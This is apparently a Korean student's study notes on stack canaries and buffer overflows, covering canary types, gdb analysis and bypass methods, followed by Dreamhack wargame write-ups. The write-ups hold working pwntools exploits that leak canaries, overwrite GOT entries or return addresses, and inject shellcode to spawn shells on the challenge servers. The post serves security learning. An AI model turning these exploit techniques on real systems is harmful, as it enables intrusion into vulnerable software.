Canaries

- 버퍼 오버 플로우를 모니터하기 위해 버퍼와 제어 데이터 사이에 설정 된 값

- 버퍼 오버플로가 발생 → canary 값이 손상, canaries 데이터의 검증에 실패하여, 오버플로에 대한 경고 출력, 손상된 데이터를 무효화 처리

 

< Types of canaries >

Terminator canaries

- canary의 값을 문자열의 끝을 나타내는 문자들을 이용해 생성

- 구성 : NULL (0x00), CR (0x0d), LF (0x0a) 및 EOF (0xff)

- 공격자는 Canaries의 값을 우회하기 위해 Return address를 쓰기 전 null 문자를 써야 한다.

  ≫ null 문자로 오버플로우를 방지한다. (strcpy()는 null문자의 위치까지 복사)

  공격자는 잠재적으로 canary를 알려진 값으로 겹쳐쓰고 정보를 틀린 값들로 제어한다.

 

 Random canaries

- canary의 값을 랜덤하게 생성한다. (일반적으로 익스플로잇을 통해 canary를 읽는 것은 논리적으로 불가능)

- 프로그램 초기 설정 시 전역 변수에 canary값이 저장된다.

   해당 메모리를 읽으려 시도 → segmentation fault + 프로그램 종료

- 공격자가 canary 값이 저장된 stack address를 알거나 스택의 값을 읽어올 수 있다면 값ㅇ르 확인할 수 있다.

 

 Random XOR canaries

- 모든 제어 데이터 or 일부를 사용해 XOR-scramble하여 canary 값을 생성한다.

   canary 값, 제어 데이터 오염 → canary 값 달라짐

- Random canaries와 동일한 취약점을 가지고 있다.

   공격자는 canary를 다시 인코딩하기 위해 original canary값, 알고리즘, 제어 데이터가 필요

 

 

< Example >

#include <stdio.h>
 
void main(int argc, char **argv)
{
    char Overflow[32];
     
    printf("Hello world!\n");
    gets(Overflow);
 
}

 

▶ canary 값 확인하기

 

- 사용자 값이 저장되는 영역은 0x7fffffffe180 이며 해당 영역에 코드에서 할당한 길이의 문자를 저장한다. ('A' * 32)

 

- 0x400610에서 rax 레지스터에 rbp - 0x8 영역에 저장된 값을 저장한다.

   rbp(0x7fffffffe1b0) - 0x8 = 0x7fffffffe1a8

   0x7fffffffe1a8 영역에 저장된 값 : 0x3a3b864735c7b300

- 0x400614에서 rax 레지스터에 저장된 값과 fs:0x28 레지스터에 저장된 값을 xor 연산한다.

- 0x40061d에서 rax 레지스터의 값이 0과 같으면 0x400624 영역으로 이동한다.

 

- 이렇게 프로그램이 종료된다.

 

▶ canary 값 덮어쓰기

- 사용자 입력 값으로 'A' * 40 + 'B' * 8 을 입력한다.

  ≫ 이로 인해 canary의 값이 0x4242424242424242(BBBBBBBB) 으로 변경됐다.

 

- 0x400610에서 rax 레지스터에 rbp - 0x8 영역에 저장된 값을 저장한다.

  rbp(0x7fffffffe1b0) - 0x8 = 0x7fffffffe1a8

   0x7fffffffe1a8 영역에 저장된 값 : 0x4242424242424242

 

- 0x400614에서 rax 레지스터에 저장된 값과 fs:0x28 레지스터에 저장된 값을 xor 연산한다.

- 0x40061d에서 rax 레지스터의 값이 0x61061c8ecf993242 이기 때문에 다음 코드 영역(0x40061f)으로 이동한다.

 

- 위와 같은 error메세지를 출력한다.

 

 

< Check the protection techniques of binary files >

checksec.sh

- not set canary : gcc -fstack-protector -o Canary_Do-not-set Canary.c

- set canary :gcc -o Canary Canary.c

 

< How to detect Canary in the "Checksec.sh" file >

Binary

 

- 'readelf' 명령어를 이용해 해당 파일의 심볼 테이블 정보를 가져와 Canary 설졍여부를 확인한다.

- 파일의 심볼 테이블에 "__stack_chk_fail"가 있으면 Canary가 적용되었다고 판단한다.

 

Process

 

- Binary의 확인 방식과 비슷하며, 전달되는 파일의 경로가 다음과 같이 다르다. (ex) /proc/<PID>/exe)

- 추가된 동작은 '/proc/<PID>/exe' 파일에 'Symbol table' 정보가 있는지 확인한다.

[함께실습] Stack Canary - Exploit Tech: Return to Shellcode

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

 

분석

▶ 보호기법 탐지

보호기법을 파악할 때 주로 사용하는 툴이 checksec이다. 이를 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호기법들을 파악할 수 있다.

checksec을 통해 파악할 수 있는 보호기법은 RELRO, Canary, NX, PIE가 있다.

 

▶ 취약점 탐색

1. buf의 주소

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf);

이 예제에서는 실습의 편의를 위해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려준다.

 

2. 스택 버퍼 오버플로우

char buf[0x50];
read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

스택 버퍼인 buf에 총 두번 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다. 이 취약점을 이용해 셸을 획득해야 한다.

 

▶ 익스플로잇 시나리오

1. 카나리 우회

read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.

첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.

 

2. 셸 획득

카나리를 구했으면, 두 번째 입력으로 반환 주소를 덮을 수 있다. 그런데 이 바이너리에는 셸을 획득해주는 get_shell() 같은 함수가 없다. 따라서 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고 있는 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있을 것이다.

 

익스플로잇

▶ 스택 프레임 정보 수집

스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다. 이 예제에서는 스택 프레임에서의 buf 위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.

process, recv, recvuntil, recvn, recvline 등의 함수를 사용해서 구현할 수 있다. 

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)

로컬 바이너리 'r2s'를 대상으로 익스플로잇을 수행하고 x86-64 아키텍처로 지정하였다.

p.recvuntil을 이용해 buf: 뒤부터 입력받도록하며 buf는 16진수로 받아 int로 저장한다.

그리고 Address of buf : buf값의 형태로 출력하도록 한다.

또, p.recvuntil을 이용해 $rbp: 뒤부터 입력받도록 하며 buf2sfp에 p.recvline을 이용해 \n까지 받은 뒤 다음줄로 이동한다.  그리고 buf2sfp에서 8뺀 값을 buf2cnry에 저장해주고 이 둘을 출력한다.

 

이 코드를 실행했더니 다음과 같이 나왔다.

 

▶ 카나리 릭

스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야한다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해보자.

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)

buf2cnry + 1만큼의 "A"를 payload에 저장하고 sendafter을 이용해 Input: 가 출력되면 payload를 입력받도록 한다. p.recvuntil로 payload가 출력될 때까지 받는다. p.recv을 이용해 7바이트의 데이터를 입력받아 \x00과 더해주고 이를 출력한다.

 

▶ 익스플로잇

카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다. 

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()

sh에 셸 코드를 기계어로 어셈블해준다.

payload에 셸코드 뒤 b"A"를 buf2cnry개를 적고, cnry, b"B" 0x8개, buf를 저장해준다.

p.sendlineafter을 이용해 Input: 뒤에 payload와 \n을 입력해주고 p.interactive로 출력을 확인한다.

 

결과는 다음과 같다.

이 코드에서 p = remote("host1.dreamhack.games",14211)만 추가해주고 cat flag를 해주었더니 flag가 나왔다.

 

[혼자실습] Stack Canary

ssp_000

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

main함수를 살펴보자.

addr, value라는 변수와 buf라는 0x40 크기의 배열이 있다.  initialize 함수를 호출하고 있으며 addr과 value를 입력받고 있다. value 값을 addr 포인터에 저장해준다. 여기서 유의할 점은 buf는 0x40의 크기를 가지고 있지만 0x80 크기의 buf를 읽기 때문에 버퍼 오버플로우가 생길 가능성이 있다는 점이다.

 

다음은 main을 디스어셈블한 결과이다.

마지막 부분을 보면 xor 과정을 통해 카나리 값이 바뀌면  __stack_chk_fail 함수가 호출된다는 것을 알 수 있다. 

 

from pwn import *

p = remote("host1.dreamhack.games", 18857)
elf=ELF("./ssp_000")

p.send('A'*0x50)
p.sendlineafter("Addr : ", str(elf.got['__stack_chk_fail'])) 
p.sendlineafter("Value : ", str(elf.symbols['get_shell'])) 
p.interactive()
ELF (Executable and Linking Format)
: 실행 가능한 바이너리, 오브젝트 파일의 형식을 규정한 파일
- PLT : 외부 프로시저를 연결해주는 테이블
- GOT : PLT가 참조하는 테이블, 프로시저들의 주소가 들어있음, PLT가 어떤 외부 프로시저를 호출할 때 GOT를 참조하여 해당 주소로 점프함

ELF를 통해 파일을 열고 A를 0x50만큼 보내 오버플로우를 발생시키도록 하였다. 이 과정을 통해 카나리 값이 바뀌고 __stack_chk_fail 함수가 호출된다. __stack_chk_fail에 got를 주고 get_shell 주소를 주어 종료되면 get_shell이 실행되어 셸을 구할 수 있다.

 

 

ssp_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

F의 경우, box를 읽어들인다.

P의 경우, idx를 입력받고 print_box함수를 호출한다. 이 함수에서 idx가 box의 크기보다 클 경우 canary leak이 가능하다.

E의 경우, name_len을 입력받고 name을 그만큼 읽어들인다. name은 0x40크기로 정해져 있으므로 오버플로우의 가능성이 있다.

 

main을 디스어셈블한 결과이다.

 

main+179(read)에 break를 걸어주고 esp를 확인해본 결과 다음과 같다.

box가 0xffffd074부터 들어갔으므로 0xffffd080

 

main+308 (read)에 break를 걸어주고 Name Size에 8, Name에 AAAAAAAA를 넣어준 결과이다.

 

idx가 128, 129, 130, 131일 때 다음과 같다.

 

from pwn import *
p = remote("host1.dreamhack.games", 10724)
elf=ELF("./ssp_001")
get_shell=elf.symbols['get_shell']

canary=b""

for i in range(4, 0, -1):
	p.sendlineafter("> ", "P")
	p.sendlineafter("index : ", str(127+i))
	p.recvuntil(": ")
	canary += p.recvuntil(b"\n")[0:2]
	
canary=int(canary,16)

p.sendlineafter("> ", "E")
pay = b"A"*64 + p32(canary) + b"A"*8 + p32(get_shell)
p.sendlineafter("Size : ", str(len(pay)))
p.sendlineafter("Name : ", pay)

p.interactive()

print_box에서 idx 값을 128~131로 주어 카나리 값을 구하였다.

pay에 name에 해당하는 b"A"*64, canary에 해당하는 p32(canary), sfp와 edi에 해당하는 b"A"*8, ret에 해당하는 p32(get_shell)을 넣어주었다.

 

[ STACK CANARY ]

 

Mitigation: Stack Canary

▶ 스택 카나리(Stack Canary)

: 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법

- 카나리 값의 변조가 확인되면 프로세스는 강제로 종료된다.

- 스택 버퍼 오버플로우로 반환 주소를 덮으려면 반드시 카나리를 먼저 덮어야 함 → 카나리 값을 모르는 공격자는 반환 주소를 덮을 때 카나리 값을 변조 → 에필로그에서 변조가 확인되어 공격자는 실행 흐름을 획득하지 못함

 

 

카나리의 작동 원리

▶ 카나리 정적 분석

#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

위 코드에는 스택 버퍼 오버플로우 취약점이 존재한다.

 

- 카나리 비활성화

Ubuntu 18.04의 gcc는 기본적으로 스택 카나리를 적용하여 바이너리를 컴파일한다.

컴파일 옵션으로 -fno-stack-protector옵션을 추가해야 카나리 없이 컴파일할 수 있다.

이를 컴파일하고 길이가 긴 입력을 주면 반환 주소가 덮여서 Segmentation fault가 발생한다.

 

- 카나리 활성화

카나리를 적용하여 다시 컴파일하고, 긴 입력을 주면 위의 경우와 다르게 stack smashing detected와 Aborted라는 에러가 발생한다. 이는 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료되었음을 의미한다.

 

다음은 no_canary와 디스어셈블한 코드를 비교한 결과이다.

 

▶ 카나리 동적 분석

- 카나리 저장

main+8 → fs:0x28의 데이터를 읽어서 rax에 저장한다. fs는 세그먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때 fs:0x28에 랜덤 값을 저장한다. 따라서 main+8의 결과로 rax에는 리눅스가 생성한 랜덤 값이 저장된다.

 

rax에 첫 바이트가 널 바이트인 8바이트 데이터가 저장되어 있다.

 

생성한 랜덤값은 main+17에서 rbp-0x8에 저장된다.

 

fs

cs, ds, es는 CPU가 사용 목적을 명시한 레지스터인 반면, fs와 gs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터이다. 리눅스는 fs를 Thread Local Storage(TLS)를 가리키는 포인터로 사용한다. 여기서는 TLS에 카나리를 비롯하여 프로세스 실행에 필요한 여러 데이터가 저장된다.

 

- 카나리 검사

main+50 → rbp-8에 저장한 카나리를 rcx로 옮긴다. 그 뒤, main+54에서 rcx를 fs:0x28에 저장된 카나리와 xor한다. 두 값이 동일하면 연산 결과가 0이되면서 je의 조건을 만족하게 되고, main함수는 정상적으로 반환된다. 그러나 두 값이 동일하지 않으면 __stack_chk_fail이 호출되면서 프로그램이 강제로 종료된다.

16개의 H를 입력하여 카나리를 변조하고 실행 흐름을 살펴보자

 

코드를 한 줄 실행시키면 rbp-ax8에 저장된 카나리 값이 버퍼 오버플로우로 인해 "0x4848484848484848"이 되었다.

 

main+54의 연산 결과가 0이 아니므로 main+63에서 main+70으로 분기하지 않고 main+65 __stack_chk_fail을 실행하게 된다. 그 함수가 실행되면 아래와 같은 메세지와 함께 프로세스가 강제 종료된다.

 

카나리의 생성 과정

▶ 카나리 생성 과정

카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장되고, 각 함수마다 프롤로그와 에필로그에서 이 값을 참조한다. 

 

- TLS의 주소 파악

fs는 TLS를 가리키므로 fs의 값을 알면 TLS의 주소를 알 수 있다. 그러나 리눅스에서 fs의 값은 특정 시스템 콜을 사용해야만 조회하거나 설정할 수 있다. fs의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정하여 fs가 어떤 값으로 설정되는지 살펴보자. 이 시스템 콜을 arch_prctl(ARCH_SET_FS, addr)의 형태로 호출하면 fs의 값은 addr로 설정된다.

gdb에는 특정 이벤트가 발생했을 때, 프로세스를 중지시키는 catch라는 명령어가 있다. 이 명령어로 arch_prctl에 catchpoint를 설정하고 실습에 사용했던 canary를 실행해보자.

catchpoint에 도달했을 때, rdi의 값이 0x1002인데 이는 ARCH_SET_FS의 상숫값이다. rsi의 값이 0x7ffff7fe34c0이므로, 이 프로세스는 TLS를 0x7ffff7fe34c0에 저장할 것이며, fs는 이를 가리키게 될 것아다.

카나리가 저장될 fs+0x28(0x7ffff7fe34c0+0x28)의 값을 보면, 아직 어떠한 값도 설정되어 있지 않은 것을 확인할 수 있다.

 

- 카나리 값 설정

TLS의 주소를 알았으므로, gdb의 watch 명령어로 TLS+0x28에 값을 쓸 때 프로세스를 중단시켜보자.

watch : 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어

watchpoint 를 설정하고 프로세스를 계속 진행하면 security_init함수에서 프로세스가 멈추고 TLS + 0x28의 값을 조회하면 다음과 같은 값이 카나리로 설정되었음을 알 수 있다.

 

 

카나리 우회

▶ 카나리 우회

 

- 무차별 대입

x64 아키텍처에서는 8바이트의 카나리가 생성되며, x86 아키텍처에서는 4바이트의 카나리가 생성된다. 각각의 카나리에는 NULL 바이트가 포함되어 있으므로, 실제로는 7바이트와 3바이트의 랜덤한 값이 포함된다.

즉, 무차별 대입으로 x64 아키텍처의 카나리 값을 알아내려면 최대 256^7번, x86 에서는 최대 256^3 번의 연산이 필요하다. 연산량이 많아서 x64 아키텍처의 카나리는 무차별 대입으로 알아내는 것 자체가 현실적으로 어려우며, x86 아키텍처는 구할 순 있지만, 실제 서버를 대상으로 저정도 횟수의 무차별 대입을 시도하는 것은 불가능하다.

 

- TLS 접근

카나리는 TLS에 전역변수로 저장되며, 매 함수마다 이를 참조해서 사용한다. TLS의 주소는 매 실행마다 바뀌지만 만약 실행중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 이를 임의의 값으로 조작할 수 있다.

그 뒤, 스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사를 우회할 수 있다.

 

- 스택 카나리 릭

스택 카나리를 읽을 수 있는 취약점이 있으면 이를 이용해 카나리 검사를 우회할 수 있다.

 

[함께실습] Stack Buffer Overflow

 

분석

▶ 취약점 분석

scanf(“%s”, buf) : 문자열을 입력받을 때 사용

특징 : 입력의 길이를 제한 X, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받음

→ 이 특징으로 인해 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. 따라서 scanf에 %s 포맷 스트링은 사용하지 말아야 하며, n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.

 

이외에도, C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험하다고 생각해야 한다. strcpy, strcat, sprintf 대신 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하며, 프로그램의 취약점을 찾을 때는 취약한 함수들이 사용되지 않았는지 유의해서 살펴보는 것이 좋다.

 

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

이 코드에서는 크기가 0x28인 버퍼에 scanf(“%s”, buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main함수의 반환 주소를 덮을 수 있을 것이다.

 

▶ 트리거

: 취약점을 발현시킴

AAAAA만 입력해주었을 때는 프로그램이 정상적으로 종료되었다.

하지만 A를 64개 입력하였더니 Segmentation fault 에러가 발생하며 프로그램이 비정상적으로 종료되었다.

Segmentation fault(core dumped) 에러
: 프로그램이 잘못된 메모리 주소에 접근했다는 의미, 프로그램에 버그가 발생했다는 신호
- core dumped : 코어파일(core)을 생성했다는 것으로 프로그램이 비정상 종료되었을 때 디버깅을 돕기 위해 운영체제가 생성해주는 것

 

※ 코어 파일이 생성되지 않았을 때

리눅스는 기본적으로 코어 파일의 크기에 제한을 두고 있다. 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야할 코어파일의 크기가 이를 초과했기 때문이다.

다음 커맨드로 그 제한을 해제하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있다.

$ ulimit -c unlimited

 

▶ 코어 파일 분석

gdb에는 코어 파일을 분석하는 기능이 있다. 이를 이용하여 입력이 스택에 어떻게 저장됐는지 살펴보고, 셸을 획득하기 위한 계획을 세울 수 있다.

$ gdb -c core

이 명령어로 코어 파일을 연다. 프로그램이 종료된 원인이 나타나고, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여준다.

 

컨텍스트에서 디스어셈블된 코드와 스택을 관찰하면, 프로그램이 main함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')라는 것을 알 수 있다. 이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것이다. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main함수에서 반환될 때, 원하는 코드가 실행되도록 조작할 수 있을 것이다.

 

익스플로잇

▶ 스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 알아야 한다. 이를 위해 main의 어셈블리 코드 중 scanf에 인자를 전달하는 부분을 자세히 살펴보자.

scanf("%s", (rbp-0x30));

오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다. 스택 프레임의 구조를 떠올려 보면, rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장된다.

 

▶ get_shell() 주소 확인

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};
   execve(cmd, args, NULL);
}

get_shell()의 주소가 0x411dd임을 확인했다.

 

▶ 페이로드 구성

페이로드 : 공격을 위해 프로그램에 전달하는 데이터

 

▶ 엔디언 적용

구성한 페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야 한다.

엔디언 : 메모리에서 데이터가 정렬되는 방식

리틀 엔디언 : 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장
빅 엔디언 : 데이터의 MSB가 가장 낮은 주소에 저장

아래 사진과 같이 0x12345678는 엔디언에 따라 다르게 저장된다.

 

0x4005a7이 메모리에 어떻게 저장되는지 살펴보자

// Name: endian.c
// Compile: gcc -o endian endian.c
#include <stdio.h>
int main() {
  unsigned long long n = 0x4005a7;
  printf("Low <-----------------------> High\n");
  for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
  return 0;
}

 

▶ 익스플로잇

엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있다. 커맨드는 파이썬으로 출력한 페이로드를 rao의 입력으로 전달한다.

$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao

이렇게 하면 셸을 획득할 수 있다.

 

부록: 취약점 패치

▶ 취약점 패치

취약점을 발견하는 것만큼 중요한 것이 발견한 취약점을 패치하는 것이다. 

 

▶ rao

rao에서는 위험한 문자열 입력함수를 사용하여 취약점이 발생했다.

 

< C언어에서 자주 사용되는 문자열 입력 함수와 패턴들과 특징 >


실습

main() 함수 중 scanf 부분에서 버그가 발생한다.

따라서 buf(0x30)+ SFP(8)를 nop으로 덮고 ret 영역을 get_shell() 주소로 덮어주어야 한다.

buf의 크기가 0x28 byte지만 0x30만큼 rbp로부터 빼주었기 때문에 0x30byte로 계산해준다.

from pwn import *
p = remote("host1.dreamhack.games", 포트번호)
code = b"a" * 0x38
code += p64(0x4006aa)
p.sendline(code) 
p.interactive()


[혼자실습] Stack Buffer Overflow

 

basic_exploitation_000

먼저 실행해보았더니 buf = (0x7ffe7258e780)이 출력되었다. 그리고 이 메모리 주소는 실행할 때마다 바뀌었다.

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

문제 내 c코드를 확인해보았다.

 

- main 함수

char형 buf의 길이가 0x80으로 설정되어 있었다. 이를 10진수로 바꿔보면 128이 되므로 128byte이다.

initialize 함수가 호출되며 buf의 주소값을 출력해주었다. 그리고 141길이의 문자열을 입력받아 buf에 저장해준다.

 

- initialize 함수

30초 지나면 TIME OUT를 출력해준다.

 

스택 : 0x80 | SFP | RET

scanf에서는 141만큼의 문자열을 입력받지만 buf의 크기는 128이다. 따라서 오버플로우가 발생할 것이다. 

buf(128) + sfp(4) = 132byte 이므로 ret까지 도달하기 위해서 필요한 크기는 132byte 이다.

26 byte 셸코드(scanf 입력받을 때)
:\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

나머지 문자열 크기 : 132 - 26 = 106byte

 

→ code = 셸코드 + a*106 + buf문자열

from pwn import *
p = remote("host1.dreamhack.games", 포트번호)
p.recvuntil("buf = (")
add = int(p.recv(10), 16)
code = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += b"A"*106 
code += p32(add)
p.send(code)
p.interactive()

출력 형식이 buf = (%p) 이므로 내가 원하는 괄호 내 숫자만 얻기 위해 p.recvuntil을 이용해 "buf = (" 다음부터 받도록 했다.  buf주소 10byte를 16진수로 받아 add에 저장하였다. 그리고 26바이트 셸코드와 A 10개를 code에 추가해주고 32bit little endian방식으로 add를 packing해주어 code에 추가하였다.

 

이를 실행해보았다.

ls로 flag파일이 있음을 확인하고 cat을 이용해 flag을 열어주어 찾을 수 있었다.

 

basic_exploitation_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

basic_exploitation_000과 다른점

- main함수에서 gets로 buf를 입력받는다. 이는 오버플로우를 발생시킬 수 있다.

- void read_flag()가 있다. 이는 system 명령어로 flag를 cat명령어를 통해 보여주도록 하는것이다.

 

스택 : 0x80 | SFP | RET

buf(128) + sfp(4) = 132byte

from pwn import *

p = remote("host1.dreamhack.games", 포트번호)

code = b"A" * 132
code += p32(0x080485b9)

p.sendline(code) 
p.interactive()

code에 132개의 A를 넣어주고 read_flag함수의 시작주소를 넣어주었다.

이를 실행해보았다.

flag를 찾을 수 있었다.

+ Recent posts